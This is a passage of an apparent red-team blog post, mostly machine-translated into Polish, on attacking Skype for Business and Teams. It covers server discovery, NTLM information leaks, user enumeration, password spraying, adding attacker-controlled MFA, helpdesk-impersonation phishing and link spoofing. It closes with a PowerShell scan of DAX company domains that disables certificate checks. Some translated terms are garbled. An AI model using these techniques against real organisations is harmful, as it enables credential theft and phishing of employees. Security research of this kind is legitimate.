1px 5px;"><<ADUSER>>.company.org</code><span style="vertical-align: inherit;">. Teams i S4B z radością rozwiążą użytkownika AD na imię i nazwisko</span></span></li></ul><h1 id="introduction" style="font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Wstęp</span></h1><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Kiedy mówimy o Skype-for-Business (S4B), należy zauważyć, że poprzednik Lync również prawdopodobnie jest dotknięty tymi samymi lukami.</span></p><h1 id="s4b" style="font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">S4B</span></h1><h2 id="detection-of-skype-for-business-s4b" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Wykrywanie programu Skype dla firm (S4B)</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;"><span style="vertical-align: inherit;">S4B często można wykryć za pośrednictwem subdomeny o nazwie lyncdiscover.company.org. </span><span style="vertical-align: inherit;">Jeśli domena istnieje, zwykle zwraca plik XML, który ujawnia, gdzie można znaleźć serwer S4B.</span></span></p><div class="language-plaintext highlighter-rouge"><div class="highlight" style="background: rgb(238, 238, 255); margin-bottom: 15px;"><pre class="highlight" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; margin-bottom: 15px; margin-top: 0px; overflow-x: auto; padding: 8px 12px;"><code style="border-radius: 3px; border: 0px; padding: 1px 0px;"><span style="color: white;">(curl https://lyncdiscover.##OnPrem##.com).rawcontent
HTTP/1.1 200 OK
X-MS-Server-Fqdn: SI0PLY01.de.##OnPrem##.com
[...]
{"_links":{"self":{"href":"https://si-pool1-webext.##OnPrem##.com/Autodiscover/AutodiscoverService.svc/root?originalDomain=##OnPrem##.com"},"user":{"href":"https://si-pool1-webext.##OnPrem##.com/Autodiscover/AutodiscoverService.svc/root/oauth/user?originalDomain=##OnPrem##.com"},"xframe":{"href":"https://si-pool1-webext.##OnPrem##.com/Autodiscover/XFrame/XFrame.html"}}}
</span></code></pre></div></div><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Jeśli S4B jest hostowane przez firmę Microsoft, odpowiedź będzie wyglądać następująco:</span></p><div class="language-plaintext highlighter-rouge"><div class="highlight" style="background: rgb(238, 238, 255); margin-bottom: 15px;"><pre class="highlight" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; margin-bottom: 15px; margin-top: 0px; overflow-x: auto; padding: 8px 12px;"><code style="border-radius: 3px; border: 0px; padding: 1px 0px;"><span style="color: white;">(curl http://lyncdiscover.##OnMS##.com).rawcontent
HTTP/1.1 200 OK
[...]
{"_links":{"self":{"href":"https://webdirgb1.online.lync.com/Autodiscover/AutodiscoverService.svc/root?originalDomain=##OnMS##.com"},"xframe":{"href":"https://webdir1E.online.lync.com/Autodiscover/AutodiscoverService.svc/root/xframe"},"redirect":{"href":"https://webdir1E.online.lync.com/Autodiscover/AutodiscoverService.svc/root?originalDomain=##OnMS##.com"}}}
</span></code></pre></div></div><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;">Jeśli skorzystasz z łącza do serwera S4B, możesz otrzymać odpowiedź </span><code class="language-plaintext highlighter-rouge" style="background-color: #eeeeff; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; padding: 1px 5px;">403 - Forbidden: Access is denied.</code><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">. </span><span style="vertical-align: inherit;">Nadal możesz zidentyfikować S4B za pomocą favicon lub możesz po prostu spróbować dotrzeć do </span></span><code class="language-plaintext highlighter-rouge" style="background-color: #eeeeff; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; padding: 1px 5px;">/scheduler</code><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">punktu końcowego. </span><span style="vertical-align: inherit;">Ten punkt końcowy wyświetla wspaniałą stronę logowania do wykrywania wewnętrznych poświadczeń usługi ActiveDirectory. </span></span><img alt="Punkt końcowy harmonogramu" src="https://badoption.eu/assets/media/S4B/Skype_Scheduler2.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Punkt końcowy harmonogramu</em></span></p><h2 id="ntlm-authentication" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Uwierzytelnianie NTLM</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Jeśli instancja S4B jest lokalna, istnieje kilka punktów końcowych, które umożliwiają uwierzytelnianie NTLM.</span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;"><span style="vertical-align: inherit;">Punkt końcowy umożliwiający uwierzytelnianie NTLM powoduje wyciek pewnych przydatnych informacji dla atakującego. </span><span style="vertical-align: inherit;">Za pomocą narzędzia NTLMRecon lub starego, dobrego skryptu nmap możemy zebrać nazwę hosta i, co ważniejsze, wewnętrzną nazwę domeny (FQDN).</span></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><img alt="NMAP" src="https://badoption.eu/assets/media/S4B/NTLM_Auth_2.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Wyodrębnianie danych domeny za pomocą Nmap </em><img alt="NTLMRecon" src="https://badoption.eu/assets/media/S4B/NTLM_Auth.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Wyodrębnianie danych domeny za pomocą NTLMRecon</em></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Ponadto punkty końcowe uwierzytelniania NTLM doskonale nadają się do rozpylania haseł, ponieważ szybkość uwierzytelniania NTLM jest dość duża i pozwala również na wielowątkowość.</span></p><h2 id="user-enumeration" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Wyliczanie użytkowników</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;"><span style="vertical-align: inherit;">Jeśli już odkryliśmy składnię użytkownika przez OSINT, możemy po prostu zweryfikować konta tutaj. </span><span style="vertical-align: inherit;">Dużym plusem S4B w środowisku hostowanym samodzielnie jest to, że wysyła zapytania do całego ActiveDirectory, a także zgłasza użytkowników, którzy zdecydowanie nie mają konta Skype, na przykład użytkownika krbtgt, którego można użyć do sprawdzenia, czy wszystko działa.</span></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Przydatne są tutaj </span><span style="vertical-align: inherit;">narzędzia takie jak </span></span><a href="https://github.com/nyxgeek/lyncsmash" style="text-decoration-line: none;">lyncsmasher lub możemy po prostu użyć beknięcia do pomiaru czasu odpowiedzi. </a><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Prawidłowy użytkownik będzie miał znacznie krótszy czas odpowiedzi niż nieprawidłowy. </span><span style="vertical-align: inherit;">Zwykle różnica powinna wynosić około 500 ms dla prawidłowego użytkownika i 5 s dla nieprawidłowego użytkownika. </span><span style="vertical-align: inherit;">Jeśli konto jest wyłączone, S4B poinformuje o tym w wiadomości.</span></span></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;">Należy pamiętać, że S4B zwykle przyjmuje albo adres e-mail, albo nazwę użytkownika z prefiksem domeny, np</span><code class="language-plaintext highlighter-rouge" style="background-color: #eeeeff; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; padding: 1px 5px;">AD-Customer\MMustermann</code></span></p><h2 id="statistically-likely" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Statystycznie prawdopodobne</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;">Jeśli nie znamy składni użytkownika lub po prostu chcemy zebrać więcej użytkowników, możemy użyć specjalnych list, takich jak repozytorium </span><a href="https://github.com/insidetrust/statistically-likely-usernames" style="text-decoration-line: none;">https://github.com/insidetrust/statistically-likely-usernames</a><span style="vertical-align: inherit;"><span style="vertical-align: inherit;"> lub zebrać własne listy, np. przykład z typowymi nazwiskami dla tego kraju z wikipedii. </span><span style="vertical-align: inherit;">Aby utworzyć konta z większą różnorodnością, możemy również wypróbować proste narzędzia, takie jak </span></span><a href="https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py" style="text-decoration-line: none;">namemash</a><span style="vertical-align: inherit;"> .</span></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Pamiętaj, że jeśli nazwa użytkownika zawiera niestandardowy przedrostek (np. DE1) lub sufiks, ta technika może się nie powieść.</span></p><h2 id="password-spraying" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Rozpylanie hasła</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Skype odpowie nam na różne sposoby.</span></p><ul style="margin: 0px 0px 15px 30px; padding: 0px;"><li><span style="color: white; vertical-align: inherit;">Jeśli użytkownik nie istnieje, odpowiedź będzie zwykle trwała około 5 sekund lub przynajmniej znacząco dłużej niż wtedy, gdy mamy prawidłowego użytkownika.</span></li><li><span style="color: white; vertical-align: inherit;">Jeśli wprowadziliśmy nieprawidłowe hasło, Skype poinformuje nas o tym</span></li><li><span style="color: white; vertical-align: inherit;">Jeśli konto jest wyłączone, Skype poinformuje nas o tym</span></li><li><span style="color: white; vertical-align: inherit;">Jeśli mamy ważne dane uwierzytelniające, ale konto nie ma konta Skype, otrzymamy wiadomość</span></li><li><span style="color: white; vertical-align: inherit;">Jeśli możemy zalogować się do Skype</span></li></ul><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><img alt="Ław Ław Ław" src="https://badoption.eu/assets/media/S4B/futurama-fry.gif" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Ław Ław Ław</em></span></p><h2 id="got-creds" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Masz kredyty?</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;">S4B domyślnie nie obsługuje MFA, więc możesz zalogować się np. pod </span><code class="language-plaintext highlighter-rouge" style="background-color: #eeeeff; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; padding: 1px 5px;">/scheduler</code><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">punktem końcowym. </span><span style="vertical-align: inherit;">Tutaj masz możliwość podjęcia łatwego wyliczenia użytkowników za pomocą funkcji </span></span><code class="language-plaintext highlighter-rouge" style="background-color: #eeeeff; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; padding: 1px 5px;">check names</code><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">spotkania. </span><span style="vertical-align: inherit;">Możesz tutaj przesłać kilka tysięcy nazw i zobaczyć, które nazwy zostaną rozwiązane. </span><span style="vertical-align: inherit;">Punkt końcowy z radością przetłumaczy użytkownika AD na wiadomość e-mail, jeśli jest połączone konto.</span></span></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><img alt="Harmonogram Skype'a" src="https://badoption.eu/assets/media/S4B/Skype_Scheduler.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Harmonogram Skype'a</em></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;">I pamiętaj, aby sprawdzić </span><a href="https://aka.ms/mfasetup" style="text-decoration-line: none;">https://aka.ms/mfasetup</a><span style="vertical-align: inherit;"> , ponieważ kontrolowany przez atakującego, dodany MFA jest całkiem przydatny.</span></span></p><h1 id="skype--teams-hosted-by-microsoft" style="font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Skype / Teams hostowane przez firmę Microsoft</span></h1><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;">Gdy Microsoft </span><a href="https://techcommunity.microsoft.com/t5/microsoft-teams-blog/microsoft-ignite-fall-2021-innovations-coming-to-microsoft-teams/ba-p/2824127" style="text-decoration-line: none;">ogłosił w 2021 r., że zmienia domyślne ustawienie komunikacji zewnętrznej w usłudze Teams</a><span style="vertical-align: inherit;"><span style="vertical-align: inherit;"> , cyberprzestępcy i RedTeams na całym świecie świętowali. </span><span style="vertical-align: inherit;">Otworzyło to nowe drzwi dla wysoce skutecznych ataków phishingowych. </span><span style="vertical-align: inherit;">Komunikacja zewnętrzna jest teraz domyślnie dozwolona i musi być aktywnie wyłączona.</span></span></span></p><h2 id="test-tenant" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Najemca testowy</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;"><span style="vertical-align: inherit;">Aby zaatakować takie ustawienie, potrzebujemy AAD z kontem Teams. </span><span style="vertical-align: inherit;">Darmowa wersja Teams działa do wyliczania, ale prawdopodobnie nie będzie działać do komunikacji lub wyświetlania przynajmniej większej liczby ostrzeżeń.</span></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;">Microsoft oferuje możliwość zarejestrowania deweloperskiego AAD. </span><a href="https://developer.microsoft.com/en-us/microsoft-365/dev-program" style="text-decoration-line: none;">https://developer.microsoft.com/en-us/microsoft-365/dev-program</a></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><img alt="Deweloper-AAD" src="https://badoption.eu/assets/media/S4B/Developer-AAD.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Deweloper-AAD</em><span style="vertical-align: inherit;"> Brzmi świetnie, prawda :)</span></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;"><span style="vertical-align: inherit;">Istnieją pewne ograniczenia, na przykład nie można udostępniać publicznie dostępnych plików. </span><span style="vertical-align: inherit;">Jednak usługa Teams działa świetnie i możemy (nad)używać tego, aby zagrozić naszemu celowi.</span></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;"><span style="vertical-align: inherit;">Sidenote: TestAAD pozwala nam również wysyłać e-maile. </span><span style="vertical-align: inherit;">Jednak wynik wychodzącego SMTP jest tak zły, że sam Microsoft nie akceptuje tych e-maili dla innych najemców. </span><span style="vertical-align: inherit;">Ale oczywiście może istnieć wiele firm, które nadal akceptują tego rodzaju e-maile.</span></span></p><h2 id="leak-of-user-information" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Wyciek informacji o użytkownikach</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;"><span style="vertical-align: inherit;">Czasami Skype zezwala na komunikację z użytkownikami zewnętrznymi, czyli z innym dzierżawcą. </span><span style="vertical-align: inherit;">Korzystając z Teams, możliwe jest również wysyłanie zapytań przez Skype'a. </span><span style="vertical-align: inherit;">Dlatego możemy sprawdzić od dzierżawcy z dostępem do Teams, czy komunikacja zewnętrzna jest dozwolona.</span></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Jeśli komunikacja zewnętrzna jest dozwolona, możemy zebrać status użytkownika (dostępny, zajęty, dnd, poza biurem).</span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><img alt="Deweloper-AAD" src="https://badoption.eu/assets/media/S4B/Teams_Userenumeration_Status.png" style="max-width: 100%; vertical-align: middle;" width="50%" /> <em>Wyliczanie użytkowników</em></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;">Ale nawet jeśli nie, nadal możemy zweryfikować e-maile z firmą, ponieważ Teams zwróci inną wiadomość, jeśli użytkownik istnieje. </span><img alt="Deweloper-AAD" src="https://badoption.eu/assets/media/S4B/Teams_Userenumeration.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Wyliczanie użytkowników</em></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;">Możemy to również zrobić w sposób zautomatyzowany, albo przez proxy (Burp Suite) albo przez </span><a href="https://github.com/nodauf/GoMapEnum" style="text-decoration-line: none;">GoMapEnum</a><span style="vertical-align: inherit;"> .</span></span></p><h2 id="skype-or-teams-phishing-skyshing--tishing" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Wyłudzanie informacji przez Skype lub Teams (skyshing / tishing)</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;"><span style="vertical-align: inherit;">Czasami Skype umożliwia komunikację z użytkownikami zewnętrznymi, czyli z innym dzierżawcą. </span><span style="vertical-align: inherit;">Ponieważ Skype jest zwykle uważany za narzędzie do komunikacji wewnętrznej, jest to bardzo skuteczny wektor phishingu!</span></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;"><span style="vertical-align: inherit;">Dodatkową ciekawą funkcją jest to, że wiadomość zostanie wysłana jako e-mail, jeśli przez jakiś czas nie było reakcji. </span><span style="vertical-align: inherit;">To pozwala nam wysłać wiadomość e-mail, technicznie pochodzącą z wewnętrznego serwera Skype do użytkownika. </span><span style="vertical-align: inherit;">Ta poczta zwykle nie jest oflagowana jako zewnętrzna, a także nie trafia do kwarantanny.</span></span></p><h3 id="faking-a-contact-person" style="font-size: 26px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Fałszowanie osoby kontaktowej</span></h3><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;"><span style="vertical-align: inherit;">Dzięki naszemu programiście AAD możemy dodawać użytkowników według własnego uznania. </span><span style="vertical-align: inherit;">Na przykład możemy dodać użytkownika o nazwie ithelpdesk@company.com jako pseudonim. </span><span style="vertical-align: inherit;">Niestety, nie możemy tego po prostu poprawić, dodając ogólne logo firmy jako zdjęcie profilowe, ponieważ zdjęcie profilowe nie jest udostępniane wszystkim najemcom.</span></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><img alt="Deweloper-AAD" src="https://badoption.eu/assets/media/S4B/Teams_Identity_1.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Pokaz tożsamości</em></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;"><span style="vertical-align: inherit;">Jeśli rozpoczniemy czat grupowy zamiast czatu jeden na jednego, pojawią się inne i bardziej niebezpieczne scenariusze z perspektywy obrońcy. </span><span style="vertical-align: inherit;">Dość skutecznym atakiem jest jednoczesne zaatakowanie dwóch pracowników.</span></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Jeśli spojrzymy na konto, jest to dość mylące i oszukuje ludzi, aby uwierzyli w tożsamość konta. </span><span style="vertical-align: inherit;">Tylko po najechaniu kursorem na podgląd konta pojawi się pełny adres, </span></span><code class="language-plaintext highlighter-rouge" style="background-color: #eeeeff; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; padding: 1px 5px;">it-helpdeskcompany@t0#####.onmicrosoft.com</code><span style="vertical-align: inherit;">który jest nadal dość godny zaufania, ponieważ </span><code class="language-plaintext highlighter-rouge" style="background-color: #eeeeff; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; padding: 1px 5px;">onmicrosoft.com</code><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">e-maile są używane dla każdego AAD w tle. </span><span style="vertical-align: inherit;">Ponadto, ponieważ nazwę AAD można wybrać podczas fazy konfiguracji, możliwe jest również wybranie czegoś takiego jak </span></span><code class="language-plaintext highlighter-rouge" style="background-color: #eeeeff; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; padding: 1px 5px;">selfservice-company.onmicrosoft.com</code><span style="vertical-align: inherit;">.</span></span></p><h3 id="spoofing" style="font-size: 26px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Fałszowanie</span></h3><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">S4B / Teams nie oferuje również ochrony przed fałszowaniem rzeczy w wiadomościach. </span><span style="vertical-align: inherit;">Na przykład możliwe jest proste fałszowanie kodu HTML. </span><span style="vertical-align: inherit;">Oznacza to, że tekst i link wskazują różne strony. </span><span style="vertical-align: inherit;">Patrząc na żądania niezbędne do wysłania nowej wiadomości, dość oczywiste jest, jak zmienić tagi. </span></span><img alt="Deweloper-AAD" src="https://badoption.eu/assets/media/S4B/Teams_Spoof_2.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Fałszowanie linku</em></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">By doing this, it is possible to craft messages, which open a malicious URL despite showing a company owned URL. <img alt="Deweloper-AAD" src="https://badoption.eu/assets/media/S4B/Teams_Spoof_1.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Spoofed link in message</em></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">This is a very well-known attack vector for emails and most appliances detect this technique for emails.</span></p><h1 id="analysis-of-top-dax-companies" style="font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">Analysis of TOP DAX companies</span></h1><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">To further provide some data about the possible risk, the DAX-Companies have been quickly analyzed. The DAX (Deutscher Aktienindex (German stock index) is the most important stock market index consisting of 40 major German companies:</span></p><ul style="margin: 0px 0px 15px 30px; padding: 0px;"><li><span style="color: white;">Adidas</span></li><li><span style="color: white;">Airbus</span></li><li><span style="color: white;">Allianz</span></li><li><span style="color: white;">BASF</span></li><li><span style="color: white;">Bayer</span></li><li><span style="color: white;">Beiersdorf</span></li><li><span style="color: white;">BMW</span></li><li><span style="color: white;">Brenntag</span></li><li><span style="color: white;">Continental</span></li><li><span style="color: white;">Covestro</span></li><li><span style="color: white;">Daimler Truck</span></li><li><span style="color: white;">Deutsche Bank</span></li><li><span style="color: white;">Deutsche Börse</span></li><li><span style="color: white;">Deutsche Post</span></li><li><span style="color: white;">Deutsche Telekom</span></li><li><span style="color: white;">E.ON</span></li><li><span style="color: white;">Fresenius</span></li><li><span style="color: white;">Fresenius Medical Care</span></li><li><span style="color: white;">Hannover Rück</span></li><li><span style="color: white;">HeidelbergCement</span></li><li><span style="color: white;">HelloFresh</span></li><li><span style="color: white;">Henkel</span></li><li><span style="color: white;">Infineon</span></li><li><span style="color: white;">Linde</span></li><li><span style="color: white;">Mercedes-Benz Group</span></li><li><span style="color: white;">Merck</span></li><li><span style="color: white;">MTU Aero Engines</span></li><li><span style="color: white;">Münchener Rück</span></li><li><span style="color: white;">Porsche SE</span></li><li><span style="color: white;">Puma</span></li><li><span style="color: white;">Qiagen</span></li><li><span style="color: white;">RWE</span></li><li><span style="color: white;">SAP</span></li><li><span style="color: white;">Sartorius</span></li><li><span style="color: white;">Siemens</span></li><li><span style="color: white;">Siemens Healthineers</span></li><li><span style="color: white;">Symrise</span></li><li><span style="color: white;">Volkswagen</span></li><li><span style="color: white;">Vonovia</span></li><li><span style="color: white;">Zalando</span></li></ul><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">These companies have been analyzed in regard to their S4B or Teams infrastructure. The following very simple methodic was used:</span></p><h2 id="find-the-main-domain-and-some-email-addresses" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">Find the main domain and some email addresses</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">To gather some email addresses and the main domain, common third party tools can be used. Just to name some: phonebook.cz, … Just take the TLD with the most hits, in most cases this is good.</span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><img alt="Deweloper-AAD" src="https://badoption.eu/assets/media/S4B/Enum_Emails.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Collect some emails for checks</em></span></p><h2 id="check-for-lync--s4b" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">Check for Lync / S4B</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">Enumerate some subdomains to identify Lync / S4B installations. The most common subdomains are:</span></p><ul style="margin: 0px 0px 15px 30px; padding: 0px;"><li><span style="color: white;">lyncdiscover.company.org</span></li><li><span style="color: white;">meet.company.org</span></li><li><span style="color: white;">dialin.company.org</span></li><li><span style="color: white;">lync-fe.company.org</span></li></ul><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">The following script was used:</span></p><div class="language-powershell highlighter-rouge"><div class="highlight" style="background: rgb(238, 238, 255); margin-bottom: 15px;"><pre class="highlight" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; margin-bottom: 15px; margin-top: 0px; overflow-x: auto; padding: 8px 12px;"><code style="border-radius: 3px; border: 0px; padding: 1px 0px;"><span style="color: white;"><span class="n">add-type</span><span class="w"> </span><span class="sh">@"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@</span><span class="w">
</span><span class="nv">$AllProtocols</span><span class="w"> </span><span class="o" style="font-weight: bold;">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Net.SecurityProtocolType</span><span class="p">]</span><span class="s1">'Ssl3,Tls,Tls11,Tls12'</span><span class="w">
</span><span class="p">[</span><span class="n">System.Net.ServicePointManager</span><span class="p">]::</span><span class="n">SecurityProtocol</span><span class="w"> </span><span class="o" style="font-weight: bold;">=</span><span class="w"> </span><span class="nv">$AllProtocols</span><span class="w">
</span><span class="p">[</span><span class="n">System.Net.ServicePointManager</span><span class="p">]::</span><span class="n">CertificatePolicy</span><span class="w"> </span><span class="o" style="font-weight: bold;">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">TrustAllCertsPolicy</span><span class="w">
</span><span class="nv">$dax</span><span class="w"> </span><span class="o" style="font-weight: bold;">=</span><span class="w"> </span><span class="n">Import-Csv</span><span class="w"> </span><span class="nx">D:\dax.csv</span><span class="w"> </span><span class="c" style="font-style: italic;"># A list with the DAX domains</span><span class="w">
</span><span class="nv">$dax</span><span class="w"> </span><span class="o" style="font-weight: bold;">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="nv">$u</span><span class="w"> </span><span class="o" style="font-weight: bold;">=</span><span class="w"> </span><span class="s2">"https://lyncdiscover.</span><span class="si">$(</span><span class="bp">$_</span><span class="o" style="font-weight: bold;">.</span><span class="nf" style="font-weight: bold;">domain</span><span class="si">)</span><span class="s2">"</span><span class="p">;</span><span class="w"> </span><span class="nv">$u</span><span class="p">;</span><span class="w"> </span><span class="n">iwr</span><span class="w"> </span><span class="nt">-uri</span><span class="w"> </span><span class="nv">$u</span><span class="p">}</span><span class="w">
</span><span class="nv">$dax</span><span class="w"> </span><span class="o" style="font-weight: bold;">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="nv">$u</span><span class="w"> </span><span class="o" style="font-weight: bold;">=</span><span class="w"> </span><span class="s2">"https://meet.</span><span class="si">$(</span><span class="bp">$_</span><span class="o" style="font-weight: bold;">.</span><span class="nf" style="font-weight: bold;">domain</span><span class="si">)</span><span class="s2">"</span><span class="p">;</span><span class="w"> </span><span class="nv">$u</span><span class="p">;</span><span class="w"> </span><span class="n">iwr</span><span class="w"> </span><span class="nt">-uri</span><span class="w"> </span><span class="nv">$u</span><span class="p">}</span><span class="w">
</span><span class="nv">$dax</span><span class="w"> </span><span class="o" style="font-weight: bold;">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="nv">$u</span><span class="w"> </span><span class="o" style="font-weight: bold;">=</span><span class="w"> </span><span class="s2">"https://dialin.</span><span class="si">$(</span><span class="bp">$_</span><span class="o" style="font-weight: bold;">.</span><span class="nf" style="font-weight: bold;">domain</span><span class="si">)</span><span class="s2">"</span><span class="p">;</span><span class="w"> </span><span class="nv">$u</span><span class="p">;</span><span class="w"> </span><span class="n">iwr</span><span class="w"> </span><span class="nt">-uri</span><span class="w"> </span><span class="nv">$u</span><span class="p">}</span><span class="w">
